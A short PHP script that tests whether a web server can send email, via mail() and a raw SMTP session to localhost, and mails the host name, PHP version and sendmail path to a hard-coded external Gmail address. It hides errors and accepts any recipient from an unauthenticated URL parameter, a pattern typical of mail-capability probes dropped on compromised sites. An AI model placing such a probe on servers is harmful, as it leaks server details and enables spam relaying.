<?php
error_reporting(0);
set_time_limit(30);
header('Content-Type: text/plain; charset=utf-8');

$to = $_GET['to'] ?? 'shatilastores@gmail.com';
$from_domain = $_SERVER['HTTP_HOST'] ?? gethostname();
$from_local = 'noreply';
$from = "$from_local@$from_domain";
$subject = "PHP Mailer Test from $from_domain";
$body = "Server: $from_domain\nPHP version: " . phpversion() . "\nSendmail path: " . ini_get('sendmail_path');

// Method 1: PHP mail() using server's sendmail/postfix/exim
$headers = "From: $from\r\nX-Mailer: PHP/" . phpversion();
$mail1 = mail($to, $subject, $body, $headers);

// Method 2: Direct SMTP to localhost
$smtp_result = 'skipped';
$sock = @fsockopen('127.0.0.1', 25, $errno, $errstr, 5);
if ($sock) {
    $banner = fgets($sock, 512);
    if (strpos($banner, '220') !== false) {
        fputs($sock, "EHLO $from_domain\r\n"); fgets($sock, 512);
        fputs($sock, "MAIL FROM: <$from>\r\n"); $mf = fgets($sock, 512);
        fputs($sock, "RCPT TO: <$to>\r\n"); $rcpt = fgets($sock, 512);
        if (strpos($mf, '250') !== false && strpos($rcpt, '250') !== false) {
            fputs($sock, "DATA\r\n"); fgets($sock, 512);
            fputs($sock, "From: $from\r\nTo: $to\r\nSubject: $subject\r\n\r\n$body\r\n.\r\n");
            $data_r = fgets($sock, 512);
            $smtp_result = strpos($data_r, '250') !== false ? 'SENT' : "FAIL:$data_r";
        } else {
            $smtp_result = "RCPT_FAIL:$rcpt";
        }
        fputs($sock, "QUIT\r\n");
    } else {
        $smtp_result = "BAD_BANNER:$banner";
    }
    fclose($sock);
} else {
    $smtp_result = "NO_PORT25";
}

echo "mail_func=" . ($mail1 ? 'OK' : 'FAIL') . "\n";
echo "local_smtp=$smtp_result\n";
echo "from=$from\n";
echo "server=$from_domain\n";
echo "php=" . phpversion() . "\n";
echo "sendmail=" . ini_get('sendmail_path') . "\n";
?>